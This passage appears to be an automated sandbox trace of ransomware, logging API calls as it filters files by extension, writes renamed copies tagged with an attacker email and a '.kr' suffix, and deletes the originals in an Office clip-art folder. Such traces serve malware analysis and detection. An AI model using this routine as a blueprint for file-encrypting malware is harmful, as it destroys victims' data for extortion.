lstrlenW (lpString=".zip") returned 4 [0199.161] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.161] lstrlenW (lpString=".rar") returned 4 [0199.161] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString=".bz2") returned 4 [0199.161] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString=".7z") returned 3 [0199.161] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] lstrlenW (lpString=".dbf") returned 4 [0199.161] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] lstrlenW (lpString=".1cd") returned 4 [0199.161] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] lstrlenW (lpString=".jpg") returned 4 [0199.161] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.161] lstrlenW (lpString=".doc") returned 4 [0199.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString=".docx") returned 5 [0199.161] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0199.161] lstrlenW (lpString=".pdf") returned 4 [0199.161] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.161] lstrlenW (lpString=".xls") returned 4 [0199.161] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.162] lstrlenW (lpString=".xlsx") returned 5 [0199.162] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0199.162] lstrlenW (lpString=".ppt") returned 4 [0199.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.162] lstrlenW (lpString=".zip") returned 4 [0199.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.162] lstrlenW (lpString=".rar") returned 4 [0199.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.162] lstrlenW (lpString=".bz2") returned 4 [0199.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.162] lstrlenW (lpString=".7z") returned 3 [0199.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.162] lstrlenW (lpString=".dbf") returned 4 [0199.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.162] lstrlenW (lpString=".1cd") returned 4 [0199.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086428.WMF") returned 68 [0199.162] lstrlenW (lpString=".jpg") returned 4 [0199.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.162] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.163] lstrlenW (lpString="J0086432.WMF") returned 12 [0199.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.166] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=33434) returned 1 [0199.166] CloseHandle (hObject=0x548) returned 1 [0199.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220 [0199.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0199.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0199.167] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.167] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0199.168] GetLastError () returned 0x0 [0199.168] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x829a, lpOverlapped=0x0) returned 1 [0199.171] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x82a0, lpOverlapped=0x0) returned 1 [0199.172] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0199.172] WriteFile (in: hFile=0x534, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0199.173] SetEndOfFile (hFile=0x534) returned 1 [0199.173] CloseHandle (hObject=0x534) returned 1 [0199.173] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0199.173] SetEndOfFile (hFile=0x548) returned 1 [0199.176] CloseHandle (hObject=0x548) returned 1 [0199.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0199.177] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.753] lstrlenW (lpString=".doc") returned 4 [0199.753] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString=".docx") returned 5 [0199.753] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.753] lstrlenW (lpString=".pdf") returned 4 [0199.753] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.753] lstrlenW (lpString=".xls") returned 4 [0199.753] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.753] lstrlenW (lpString=".xlsx") returned 5 [0199.753] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.754] lstrlenW (lpString=".ppt") returned 4 [0199.754] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString=".zip") returned 4 [0199.754] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.754] lstrlenW (lpString=".rar") returned 4 [0199.754] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString=".bz2") returned 4 [0199.754] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString=".7z") returned 3 [0199.754] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString=".dbf") returned 4 [0199.754] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString=".1cd") returned 4 [0199.754] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString=".jpg") returned 4 [0199.754] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.754] lstrlenW (lpString=".doc") returned 4 [0199.754] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString=".docx") returned 5 [0199.754] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0199.754] lstrlenW (lpString=".pdf") returned 4 [0199.754] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0199.754] lstrlenW (lpString=".xls") returned 4 [0199.754] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0199.755] lstrlenW (lpString=".xlsx") returned 5 [0199.755] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0199.755] lstrlenW (lpString=".ppt") returned 4 [0199.755] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0199.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.755] lstrlenW (lpString=".zip") returned 4 [0199.755] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0199.755] lstrlenW (lpString=".rar") returned 4 [0199.755] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0199.755] lstrlenW (lpString=".bz2") returned 4 [0199.755] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0199.755] lstrlenW (lpString=".7z") returned 3 [0199.755] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0199.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.755] lstrlenW (lpString=".dbf") returned 4 [0199.755] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0199.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.755] lstrlenW (lpString=".1cd") returned 4 [0199.755] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0199.755] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68 [0199.755] lstrlenW (lpString=".jpg") returned 4 [0199.755] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0199.755] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0199.755] lstrlenW (lpString="J0090087.WMF") returned 12 [0199.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0200.094] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=46936) returned 1 [0200.094] CloseHandle (hObject=0x3f8) returned 1 [0200.094] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0200.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.761] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.779] GetLastError () returned 0x0 [0200.779] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xb758, lpOverlapped=0x0) returned 1 [0200.782] WriteFile (in: hFile=0x558, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xb760, lpOverlapped=0x0) returned 1 [0200.783] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.783] WriteFile (in: hFile=0x558, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.784] SetEndOfFile (hFile=0x558) returned 1 [0200.784] CloseHandle (hObject=0x558) returned 1 [0200.784] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.784] SetEndOfFile (hFile=0x370) returned 1 [0200.788] CloseHandle (hObject=0x370) returned 1 [0200.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0200.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.793] lstrlenW (lpString=".doc") returned 4 [0200.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.793] lstrlenW (lpString=".docx") returned 5 [0200.793] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.793] lstrlenW (lpString=".pdf") returned 4 [0200.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.793] lstrlenW (lpString=".xls") returned 4 [0200.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.793] lstrlenW (lpString=".xlsx") returned 5 [0200.793] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.793] lstrlenW (lpString=".ppt") returned 4 [0200.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.793] lstrlenW (lpString=".zip") returned 4 [0200.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.793] lstrlenW (lpString=".rar") returned 4 [0200.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.793] lstrlenW (lpString=".bz2") returned 4 [0200.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.793] lstrlenW (lpString=".7z") returned 3 [0200.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.793] lstrlenW (lpString=".dbf") returned 4 [0200.794] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.794] lstrlenW (lpString=".1cd") returned 4 [0200.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.794] lstrlenW (lpString=".jpg") returned 4 [0200.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.794] lstrlenW (lpString=".doc") returned 4 [0200.794] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString=".docx") returned 5 [0200.794] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0200.794] lstrlenW (lpString=".pdf") returned 4 [0200.794] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString=".xls") returned 4 [0200.794] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.794] lstrlenW (lpString=".xlsx") returned 5 [0200.794] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0200.794] lstrlenW (lpString=".ppt") returned 4 [0200.794] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.794] lstrlenW (lpString=".zip") returned 4 [0200.794] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.794] lstrlenW (lpString=".rar") returned 4 [0200.794] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString=".bz2") returned 4 [0200.794] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.794] lstrlenW (lpString=".7z") returned 3 [0200.795] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.795] lstrlenW (lpString=".dbf") returned 4 [0200.795] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.795] lstrlenW (lpString=".1cd") returned 4 [0200.795] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.795] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0200.795] lstrlenW (lpString=".jpg") returned 4 [0200.795] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.795] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.795] lstrlenW (lpString="J0099149.WMF") returned 12 [0200.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.796] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=73214) returned 1 [0200.796] CloseHandle (hObject=0x370) returned 1 [0200.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0200.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0200.796] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.797] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.797] GetLastError () returned 0x0 [0200.797] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0200.801] WriteFile (in: hFile=0x558, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x11e00, lpOverlapped=0x0) returned 1 [0200.804] ReadFile (in: hFile=0x370, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.804] WriteFile (in: hFile=0x558, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.804] SetEndOfFile (hFile=0x558) returned 1 [0200.804] CloseHandle (hObject=0x558) returned 1 [0200.804] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.804] SetEndOfFile (hFile=0x370) returned 1 [0200.812] CloseHandle (hObject=0x370) returned 1 [0200.812] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.812] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0200.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.813] lstrlenW (lpString=".doc") returned 4 [0200.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.813] lstrlenW (lpString=".docx") returned 5 [0200.813] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0200.813] lstrlenW (lpString=".pdf") returned 4 [0200.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.813] lstrlenW (lpString=".xls") returned 4 [0200.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.813] lstrlenW (lpString=".xlsx") returned 5 [0200.813] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0200.813] lstrlenW (lpString=".ppt") returned 4 [0200.814] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.814] lstrlenW (lpString=".zip") returned 4 [0200.814] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.814] lstrlenW (lpString=".rar") returned 4 [0200.814] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.814] lstrlenW (lpString=".bz2") returned 4 [0200.814] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.814] lstrlenW (lpString=".7z") returned 3 [0200.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0200.814] lstrlenW (lpString=".dbf") returned 4 [0200.814] lstrcmpiW (lpString1=".dbf", 